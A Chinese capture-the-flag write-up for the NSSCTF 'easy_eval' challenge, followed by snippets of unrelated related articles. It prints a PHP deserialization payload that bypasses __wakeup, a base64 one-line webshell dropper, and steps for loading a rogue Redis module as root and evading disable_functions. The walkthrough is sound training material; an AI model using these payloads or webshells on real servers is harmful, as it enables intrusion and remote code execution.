当前位置: 首页 > news >正文

NSSCTF-WEB-easy_eval

目录

前言

正文

思路

序列化构造

 后渗透

思路点1:Redis

思路2:蚁剑插件绕过disable_functinons

结尾

作者的其他文章


前言

说是easy,实际很difficult


正文

思路

 <?php
class A{public $code = "";function __call($method,$args){//最后执行命令eval($this->code);}function __wakeup(){//需要绕过$this->code = "";}
}class B{function __destruct(){echo $this->a->a();//这里触发__call方法}
}
if(isset($_REQUEST['poc'])){preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);//主要还是匹配传入的序列化语句,其实看AB就能够明白if (isset($ret[1])) {//下面就是设置的waf了,能够明白这玩意需要绕过即可foreach ($ret[1] as $i) {if(intval($i)!==1){exit("you want to bypass wakeup ? no !");}}unserialize($_REQUEST['poc']);    }}else{highlight_file(__FILE__);
}

序列化构造

简单扫一眼,pop构造不难,preg_match根据序列化特性绕过即可

由此

可以写出这样一个文件用于生成可利用的序列化语句

<?php
class a{public $code;function __construct(){$this->code="system('ls');";}
}class b{public $a;
}$a=new b();
$a->a=new a();
echo serialize($a);
//O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}

接下来将生成的序列化语句内"b":1"a":1修改为2

因为是类序列化,所以只要保证含__wakeup方法的类不触发wakeup就行

失败

有可能过滤了system?

进行fuzz测试,发现passthru,exec,shell_exec均被限制,但是传入phpinfo成功

 没有flag

 看看限制了什么函数

限制死死的........

好家伙

但是没有限制eval,那么突发奇想,传个马进去怎么样

 

........好好好

之前还看到有位师傅是怎么传马的,在这里分享一下

fputs(fopen('dotast.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOw=="));

 后渗透

 进去后发现权限不够,且虚拟终端由于源码问题无法正常使用

 只好看看当前目录给咱留下了啥好东西

index.php就特别正常

至于swp文件就一言难尽了

用web访问下


思路点1:Redis

Redis数据库,且知道密码

用蚁剑插件进行连接

 插件可以在这里下载

 密码就是you_cannot_guess_it

成功

当然,你现在还是啥也干不了

接下来需要做的是,使用redis指令对目标进行进一步利用

简单举个例子

随便找个db右键开个终端

 

关于Redis的基础指令,可以看这篇文章

【Redis】Redis基础命令集详解_redis命令-CSDN博客

其实还是有必要了解的,网安可以说是系统工程什么都要会一点

不过大部分情况下都是即学即用是了//DOGE

既然题目除了redis便没有其他可利用的情况,那么我们需要对redis历年的漏洞做一个简单的收集,然后获取这台机子的版本信息做进一步利用

其实他给你封死了,你并没有办法做信息收集

出现这个问题的主要原因是题目构造所造成的缺陷,他既导致了漏洞的产生,也让你后渗透不能太舒服

.......

但是在你连接数据库的时候,在网页目录(var/www/html)会生成一个rdp文件

这样就拿到了redis的版本号

redis 5.x引入了模块系统,允许用户通过加载动态库来扩展 Redis 的功能(使用MODULE LOAD命令)。这些模块可以是 C 语言编写的共享库文件(例如 .so 文件)当用户使用root权限且没有正确配置模块路径限制,hacker可以利用这一点加载恶意模块

这里可以算是踩雷了

你可以发现他是以root运行的

好的,接下来尝试上传一个so文件进行下一步利用

这样的公开漏洞(而且还上CTF了),csdn,github上找找exp肯定是可以找到的

https://github.com/Dliv3/redis-rogue-server

ok

将exp.so上传

redis导入模块

至于如何使用

仔细点的师傅应该明白

github上的项目往往都存在一个readme.md教大家如何使用

当然,这题我们肯定是无法借助py进行rce的,看看redis-rogue-server.py是怎么写的

这个应该就是用法了

你也可以访问https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

查看这里的exp.so的用法

成功

看flag


思路2:蚁剑插件绕过disable_functinons

当然

这题还有另外一种解法

使用蚁剑的disable_functions绕过插件绕过前面我们在phpinfo上看到的disable_function限制

正常来说,使用LD_PRELOAD就可以成功绕过

不过这题不行

最后尝试后发现只有这两个可以成功绕过

接下来就简单了

就是这样


结尾

至于为什么github.com无法访问

可以尝试尝试将dns改为8.8.8.8,如果还是不行,那就使用黑魔法或者看命把.............................

还有就是

记得在写反序列化脚本的时候把杀软关了,我的火绒看见webshell直接露头就秒.................


作者的其他文章

攻防世界-WEB-catcat-new_攻防世界catcat-new-CSDN博客

攻防世界-WEB-WEIPHP(记一次有趣的代码审计)_攻防世界weiphp-CSDN博客

BugKu-WEB-sodirty_bugku sodirty-CSDN博客

NSSCTF-WEB-pklovecloud-CSDN博客


 

相关文章:

NSSCTF-WEB-easy_eval

目录 前言 正文 思路 序列化构造 后渗透 思路点1:Redis 思路2:蚁剑插件绕过disable_functinons 结尾 作者的其他文章 前言 说是easy,实际很difficult 正文 思路 <?php class A{public $code "";function __call($method,$args){//最后执行命令eval($th…...

交通目标识别数据集YOLO 模型 ui界面✓图片数量15000,xml和txt标签都有 11类 交通道路车辆行人红黄绿数据集 红绿灯数据集 交通信号数据集

YOLO交通目标识别 数据集 模型 ui界面 ✓图片数量15000&#xff0c;xml和txt标签都有&#xff1b; ✓class&#xff1a;biker&#xff0c;car&#xff0c;pedestrian&#xff0c;trafficLight&#xff0c;trafficLight-Green&#xff0c;trafficLight-GreenLeft&#xff0c; tr…...

买卖股票的最佳时机 题解

买卖股票的最佳时机 问题描述 给定一个数组 prices&#xff0c;其中 prices[i] 表示第 i 天的股票价格。你只能选择某一天买入股票&#xff0c;并选择未来的某一天卖出股票&#xff0c;设计一个算法来计算你所能获取的最大利润。 限制条件&#xff1a; 只能进行一次交易&…...

微信小程序路由跳转的区别及其常见的使用场景

在微信小程序中&#xff0c;页面路由跳转的实现有几种常用方式&#xff0c;不同的跳转方式适用于不同的使用场景。下面是几种跳转方法的区别及其在实际项目中的应用场景。 1. wx.navigateTo 简介&#xff1a;保留当前页面并跳转到指定页面&#xff0c;最多保留10个页面的历史记…...

麒麟桌面版v10 SP1以docker方式安装达梦数据库

安装docker 0.切换root用户&#xff08;可以不切换&#xff0c;但要注意权限问题&#xff0c;我是用root&#xff09; ymym-pc:~/桌面$ whoami ym ymym-pc:~/桌面$ sudo -i rootym-pc:~# whoami root rootym-pc:~# 1.查看系统版本 [rootlocalhost opt]# cat /etc/os-release…...

KNN的 k 设置的过大会有什么问题

在KNN&#xff08;K-Nearest Neighbors&#xff09;算法中&#xff0c;K值的选择对模型的性能和预测结果有着重要影响。如果K值设置得过大&#xff0c;可能会出现以下问题&#xff1a; 欠拟合&#xff1a;当K值过大时&#xff0c;模型会考虑过多的邻近点实例&#xff0c;甚至会…...

Star Tower:智能合约的安全基石与未来引领者

在区块链技术的快速发展中&#xff0c;智能合约作为新兴的应用形式&#xff0c;正逐渐成为区块链领域的重要组成部分。然而&#xff0c;智能合约的可靠性问题一直是用户最为关心的焦点之一。为此&#xff0c;Star Tower以其强大的技术实力和全面的安全保障措施&#xff0c;为智…...

2024-NewStarCTF-WEEK1

web headach3 提示head&#xff0c;抓包查看响应头&#xff0c;得到flag flag值&#xff1a;flag{You_Ar3_R3Ally_A_9ooD_d0ctor} 会赢吗 第一段&#xff1a;源码里找到第一段flag&#xff0c;ZmxhZ3tXQTB3 第二段&#xff1a;分析可知需要在控制台调用revealFlag函数向服务…...

大数据面试题整理——Zookeeper

系列文章目录 大数据面试题专栏点击进入 文章目录 系列文章目录大数据面试题专栏点击进入 1. 什么是 Zookeeper&#xff1f;2. Zookeeper 的特点有哪些&#xff1f;3. Zookeeper 的数据模型是怎样的&#xff1f;4. Zookeeper 的工作流程是怎样的&#xff1f;5. Zookeeper 如何…...

图书库存管理:Spring Boot驱动的进销存系统

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理图书进销存管理系统的相关信息成为必然。开…...

用增结算数仓化改造:在/离线调度系统的构建与应用

导读 移动运营推广平台&#xff08;OPS&#xff09;承载着百度内部移动应用/移动搜索业务的用户增长预算的全流程结算线上化管控功能&#xff0c;为了解决用增业务发展规模扩大、原有技术架构老旧、无离线数仓系统等一系列的问题&#xff0c;针对全域结算数据启动了整体的架构…...

施磊C++高级进阶课程 | 学习笔记 | 博客汇总

施磊C高级进阶课程 | 学习笔记 | 博客汇总 施磊C | 进阶学习笔记 | 1.对象的应用优化、右值引用的优化-CSDN博客 施磊C | 进阶学习笔记 | 2.智能指针-CSDN博客 施磊C | 进阶学习笔记 | 3.绑定器和函数对象、lambda表达式-CSDN博客 施磊C | 进阶学习笔记 | 4.c11内容汇总、多…...

学习threejs,拉伸几何体THREE.TubeGeometry管道

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️拉伸几何体THREE.TubeGeome…...

day01-Qt5入门

day01-Qt5入门 窗体应用 1.1 窗体基类说明 创建项目在details中编辑器提供了三个基类&#xff0c;分别是 QMainWindows、Qwidget、QDialog 1、 QMainWindow QMainWindow 类提供一个有菜单条、锚接窗口&#xff08;例如工具条&#xff09;和一个状态条的主应用 程序窗口。…...

AnaTraf | 利用多点关联数据分析和网络关键KPI监控提升IT运维效率

目录 什么是多点关联数据分析&#xff1f; 多点关联数据分析的运用场景 监控网络关键KPI的重要性 典型的网络关键KPI 案例分析&#xff1a;利用多点关联数据分析和KPI监控解决网络性能问题 结语 AnaTraf 网络性能监控系统NPM | 全流量回溯分析 | 网络故障排除工具AnaTraf…...

图书库存控制:Spring Boot进销存系统的应用

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统&#xff0c;它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等&#xff0c;非常…...

Python 工具库每日推荐 【pyspider 】

文章目录 引言网络爬虫的重要性今日推荐:pyspider 网络爬虫框架主要功能:使用场景:安装与配置快速上手示例代码代码解释实际应用案例案例:爬取新闻网站的文章案例分析高级特性使用代理处理 JavaScript 渲染的页面扩展阅读与资源优缺点分析优点:缺点:总结【 已更新完 Type…...

【C语言教程】【常用类库】(十五)网络编程 - <sys/socket.h> 和 <netinet/in.h>

15. 网络编程 - <sys/socket.h> 和 <netinet/in.h> 网络编程在C语言中是通过套接字来实现的&#xff0c;套接字提供了进程间通信的端点。C语言的网络编程涉及到创建套接字、绑定地址、监听和接收数据。以下是网络编程的关键概念和基本实现方法。 15.1. 套接字基础…...

正点原子讲解SPI学习,驱动编程NOR FLASH实战

配置SPI传输速度时&#xff0c;需要先失能SPI,__HAL_SPI_DISABLE,然后操作SPI_CR1中的波特率设置位&#xff0c;再使能SPI, NM25Q128驱动步骤 myspi.c #include "./BSP/MYSPI/myspi.h"SPI_HandleTypeDef g_spi1_handler; /* SPI句柄 */void spi1_init(void) {g_spi…...

低代码开发助力中小企业数字化转型难度持续降低

随着信息技术的飞速发展&#xff0c;数字化转型已成为企业持续发展的关键驱动力。对于中小企业而言&#xff0c;数字化转型不仅意味着提升效率、降低成本&#xff0c;更是实现业务模式创新和市场竞争力提升的重要途径。然而&#xff0c;传统软件开发模式的高成本、长周期和复杂…...

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站&#xff0c;会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后&#xff0c;网站没有变化的情况。 不熟悉siteground主机的新手&#xff0c;遇到这个问题&#xff0c;就很抓狂&#xff0c;明明是哪都没操作错误&#x…...

springboot 百货中心供应链管理系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;百货中心供应链管理系统被用户普遍使用&#xff0c;为方…...

反向工程与模型迁移:打造未来商品详情API的可持续创新体系

在电商行业蓬勃发展的当下&#xff0c;商品详情API作为连接电商平台与开发者、商家及用户的关键纽带&#xff0c;其重要性日益凸显。传统商品详情API主要聚焦于商品基本信息&#xff08;如名称、价格、库存等&#xff09;的获取与展示&#xff0c;已难以满足市场对个性化、智能…...

新能源汽车智慧充电桩管理方案:新能源充电桩散热问题及消防安全监管方案

随着新能源汽车的快速普及&#xff0c;充电桩作为核心配套设施&#xff0c;其安全性与可靠性备受关注。然而&#xff0c;在高温、高负荷运行环境下&#xff0c;充电桩的散热问题与消防安全隐患日益凸显&#xff0c;成为制约行业发展的关键瓶颈。 如何通过智慧化管理手段优化散…...

均衡后的SNRSINR

本文主要摘自参考文献中的前两篇&#xff0c;相关文献中经常会出现MIMO检测后的SINR不过一直没有找到相关数学推到过程&#xff0c;其中文献[1]中给出了相关原理在此仅做记录。 1. 系统模型 复信道模型 n t n_t nt​ 根发送天线&#xff0c; n r n_r nr​ 根接收天线的 MIMO 系…...

大语言模型(LLM)中的KV缓存压缩与动态稀疏注意力机制设计

随着大语言模型&#xff08;LLM&#xff09;参数规模的增长&#xff0c;推理阶段的内存占用和计算复杂度成为核心挑战。传统注意力机制的计算复杂度随序列长度呈二次方增长&#xff0c;而KV缓存的内存消耗可能高达数十GB&#xff08;例如Llama2-7B处理100K token时需50GB内存&a…...

Linux C语言网络编程详细入门教程:如何一步步实现TCP服务端与客户端通信

文章目录 Linux C语言网络编程详细入门教程&#xff1a;如何一步步实现TCP服务端与客户端通信前言一、网络通信基础概念二、服务端与客户端的完整流程图解三、每一步的详细讲解和代码示例1. 创建Socket&#xff08;服务端和客户端都要&#xff09;2. 绑定本地地址和端口&#x…...

深入浅出深度学习基础:从感知机到全连接神经网络的核心原理与应用

文章目录 前言一、感知机 (Perceptron)1.1 基础介绍1.1.1 感知机是什么&#xff1f;1.1.2 感知机的工作原理 1.2 感知机的简单应用&#xff1a;基本逻辑门1.2.1 逻辑与 (Logic AND)1.2.2 逻辑或 (Logic OR)1.2.3 逻辑与非 (Logic NAND) 1.3 感知机的实现1.3.1 简单实现 (基于阈…...

根目录0xa0属性对应的Ntfs!_SCB中的FileObject是什么时候被建立的----NTFS源代码分析--重要

根目录0xa0属性对应的Ntfs!_SCB中的FileObject是什么时候被建立的 第一部分&#xff1a; 0: kd> g Breakpoint 9 hit Ntfs!ReadIndexBuffer: f7173886 55 push ebp 0: kd> kc # 00 Ntfs!ReadIndexBuffer 01 Ntfs!FindFirstIndexEntry 02 Ntfs!NtfsUpda…...

AI语音助手的Python实现

引言 语音助手(如小爱同学、Siri)通过语音识别、自然语言处理(NLP)和语音合成技术,为用户提供直观、高效的交互体验。随着人工智能的普及,Python开发者可以利用开源库和AI模型,快速构建自定义语音助手。本文由浅入深,详细介绍如何使用Python开发AI语音助手,涵盖基础功…...